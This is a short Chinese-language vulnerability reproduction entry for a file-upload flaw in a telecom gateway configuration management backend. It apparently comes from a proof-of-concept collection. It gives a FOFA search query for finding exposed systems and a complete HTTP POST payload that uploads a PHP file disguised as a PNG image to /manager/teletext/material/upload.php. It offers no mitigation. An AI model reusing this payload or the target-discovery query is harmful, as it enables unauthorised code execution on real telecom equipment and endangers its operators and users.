D10-1电信-网关配置管理系统后台-文件上传

漏洞描述：

电信网关配置管理系统后台 /manager/teletext/material/upload.php 接口存在文件上传漏洞，攻击者可以利用文件上传漏洞获取系统权限。

网站图片:

网络测绘:

fofa语法：

FOFA：body=“img/login_bg3.png” && body=“系统登录”

漏洞复现:

payload：

POST /manager/teletext/material/upload.php HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryssh7UfnPpGU7BXfK
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

------WebKitFormBoundaryssh7UfnPpGU7BXfK
Content-Disposition: form-data; name="fileToUpload"; filename="a.php"
Content-Type: image/png

<?php phpinfo(); ?>
------WebKitFormBoundaryssh7UfnPpGU7BXfK
Content-Disposition: form-data; name="type"

img
------WebKitFormBoundaryssh7UfnPpGU7BXfK
Content-Disposition: form-data; name="w"

1280
------WebKitFormBoundaryssh7UfnPpGU7BXfK
Content-Disposition: form-data; name="h"

720
------WebKitFormBoundaryssh7UfnPpGU7BXfK
Content-Disposition: form-data; name="userid"

10003xx
------WebKitFormBoundaryssh7UfnPpGU7BXfK
Content-Disposition: form-data; name="appid"

5
------WebKitFormBoundaryssh7UfnPpGU7BXfK
Content-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryssh7UfnPpGU7BXfK--

效果图:

回显了完整路径
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